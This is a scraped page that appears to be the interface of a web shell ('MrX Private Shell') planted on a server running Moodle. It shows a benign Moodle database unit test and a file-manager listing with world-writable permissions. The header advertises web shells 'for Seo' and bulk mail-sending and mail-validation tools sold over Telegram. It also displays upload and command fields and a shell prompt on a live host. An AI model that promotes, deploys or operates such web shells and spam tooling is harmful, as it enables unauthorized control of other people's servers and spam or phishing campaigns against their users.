__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core;

use core\dml\table;
use xmldb_table;

/**
 * DML Table tests.
 *
 * @package    core
 * @category   test
 * @copyright  2019 Andrew Nicols <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @coversDefaultClass \core\dml\table
 */
final class dml_table_test extends \database_driver_testcase {

    /**
     * Data provider for various \core\dml\table method tests.
     *
     * @return  array
     */
    public static function get_field_select_provider(): array {
        return [
            'single field' => [
                'tablename' => 'test_table_single',
                'fieldlist' => [
                    'id' => ['id', XMLDB_TYPE_INTEGER, '10', null, XMLDB_NOTNULL, XMLDB_SEQUENCE, null],
                ],
                'primarykey' => 'id',
                'fieldprefix' => 'ban',
                'tablealias' => 'banana',
                'banana.id AS banid',
            ],
            'multiple fields' => [
                'tablename' => 'test_table_multiple',
                'fieldlist' => [
                    'id' => ['id', XMLDB_TYPE_INTEGER, '10', null, XMLDB_NOTNULL, XMLDB_SEQUENCE, null],
                    'course' => ['course', XMLDB_TYPE_INTEGER, '10', null, XMLDB_NOTNULL, null, '0'],
                    'name' => ['name', XMLDB_TYPE_CHAR, '255', null, null, null, 'lala'],
                ],
                'primarykey' => 'id',
                'fieldprefix' => 'ban',
                'tablealias' => 'banana',
                'banana.id AS banid, banana.course AS bancourse, banana.name AS banname',
            ],
        ];
    }

    /**
     * Ensure that \core\dml\table::get_field_select() works as expected.
     *
     * @dataProvider get_field_select_provider
     * @covers ::get_field_select
     * @param   string      $tablename The name of the table
     * @param   array       $fieldlist The list of fields
     * @param   string      $primarykey The name of the primary key
     * @param   string      $fieldprefix The prefix to use for each field
     * @param   string      $tablealias The table AS alias name
     * @param   string      $expected The expected SQL
     */
    public function test_get_field_select(
        string $tablename,
        array $fieldlist,
        string $primarykey,
        string $fieldprefix,
        string $tablealias,
        string $expected
    ): void {
        $dbman = $this->tdb->get_manager();

        $xmldbtable = new xmldb_table($tablename);
        $xmldbtable->setComment("This is a test'n drop table. You can drop it safely");

        foreach ($fieldlist as $args) {
            call_user_func_array([$xmldbtable, 'add_field'], $args);
        }
        $xmldbtable->add_key('primary', XMLDB_KEY_PRIMARY, [$primarykey]);
        $dbman->create_table($xmldbtable);

        $table = new table($tablename, $tablealias, $fieldprefix);
        $this->assertEquals($expected, $table->get_field_select());
    }

    /**
     * Data provider for \core\dml\table::extract_from_result() tests.
     *
     * @return  array
     */
    public static function extract_from_result_provider(): array {
        return [
            'single table' => [
                'fieldlist' => [
                    'id' => ['id', XMLDB_TYPE_INTEGER, '10', null, XMLDB_NOTNULL, XMLDB_SEQUENCE, null],
                    'course' => ['course', XMLDB_TYPE_INTEGER, '10', null, XMLDB_NOTNULL, null, '0'],
                    'flag' => ['flag', XMLDB_TYPE_CHAR, '255', null, null, null, 'lala'],
                ],
                'primarykey' => 'id',
                'prefix' => 's',
                'result' => (object) [
                    'sid' => 1,
                    'scourse' => 42,
                    'sflag' => 'foo',
                ],
                'expectedrecord' => (object) [
                    'id' => 1,
                    'course' => 42,
                    'flag' => 'foo',
                ],
            ],
            'single table amongst others' => [
                'fieldlist' => [
                    'id' => ['id', XMLDB_TYPE_INTEGER, '10', null, XMLDB_NOTNULL, XMLDB_SEQUENCE, null],
                    'course' => ['course', XMLDB_TYPE_INTEGER, '10', null, XMLDB_NOTNULL, null, '0'],
                    'flag' => ['flag', XMLDB_TYPE_CHAR, '255', null, null, null, 'lala'],
                ],
                'primarykey' => 'id',
                'prefix' => 's',
                'result' => (object) [
                    'sid' => 1,
                    'scourse' => 42,
                    'sflag' => 'foo',
                    'oid' => 'id',
                    'ocourse' => 'course',
                    'oflag' => 'flag',
                ],
                'expectedrecord' => (object) [
                    'id' => 1,
                    'course' => 42,
                    'flag' => 'foo',
                ],
            ],
        ];
    }

    /**
     * Ensure that \core\dml\table::extract_from_result() works as expected.
     *
     * @dataProvider        extract_from_result_provider
     * @covers ::extract_from_result
     * @param   array       $fieldlist The list of fields
     * @param   string      $primarykey The name of the primary key
     * @param   string      $fieldprefix The prefix to use for each field
     * @param   \stdClass $result The result of the get_records_sql
     * @param   \stdClass $expected The expected output
     */
    public function test_extract_fields_from_result(
        array $fieldlist,
        string $primarykey,
        string $fieldprefix,
        \stdClass $result,
        \stdClass $expected
    ): void {
        $dbman = $this->tdb->get_manager();

        $tablename = 'test_table_extraction';
        $xmldbtable = new xmldb_table($tablename);
        $xmldbtable->setComment("This is a test'n drop table. You can drop it safely");

        foreach ($fieldlist as $args) {
            call_user_func_array([$xmldbtable, 'add_field'], $args);
        }
        $xmldbtable->add_key('primary', XMLDB_KEY_PRIMARY, [$primarykey]);
        $dbman->create_table($xmldbtable);

        $table = new table($tablename, 'footable', $fieldprefix);
        $this->assertEquals($expected, $table->extract_from_result($result));
    }

    /**
     * Ensure that \core\dml\table::get_from_sql() works as expected.
     *
     * @dataProvider get_field_select_provider
     * @covers ::get_from_sql
     * @param   string      $tablename The name of the table
     * @param   array       $fieldlist The list of fields
     * @param   string      $primarykey The name of the primary key
     * @param   string      $fieldprefix The prefix to use for each field
     * @param   string      $tablealias The table AS alias name
     * @param   string      $expected The expected SQL
     */
    public function test_get_from_sql(
        string $tablename,
        array $fieldlist,
        string $primarykey,
        string $fieldprefix,
        string $tablealias,
        string $expected
    ): void {
        $dbman = $this->tdb->get_manager();

        $tablename = 'test_table_extraction';
        $xmldbtable = new xmldb_table($tablename);
        $xmldbtable->setComment("This is a test'n drop table. You can drop it safely");

        foreach ($fieldlist as $args) {
            call_user_func_array([$xmldbtable, 'add_field'], $args);
        }
        $xmldbtable->add_key('primary', XMLDB_KEY_PRIMARY, [$primarykey]);
        $dbman->create_table($xmldbtable);

        $table = new table($tablename, $tablealias, $fieldprefix);

        $this->assertEquals("{{$tablename}} {$tablealias}", $table->get_from_sql());
    }
}

Filemanager

Name Type Size Permission Actions
fixtures Folder 0777
dml_mysqli_read_slave_test.php File 5.66 KB 0777
dml_pgsql_read_slave_test.php File 10.38 KB 0777
dml_read_slave_test.php File 19.26 KB 0777
dml_table_test.php File 8.17 KB 0777
dml_test.php File 297.32 KB 0777
mysqli_native_moodle_database_test.php File 4.38 KB 0777
pgsql_native_moodle_database_test.php File 16.17 KB 0777
pgsql_native_recordset_test.php File 14.97 KB 0777
recordset_walk_test.php File 3.96 KB 0777
sqlsrv_native_moodle_database_test.php File 10.93 KB 0777
Filemanager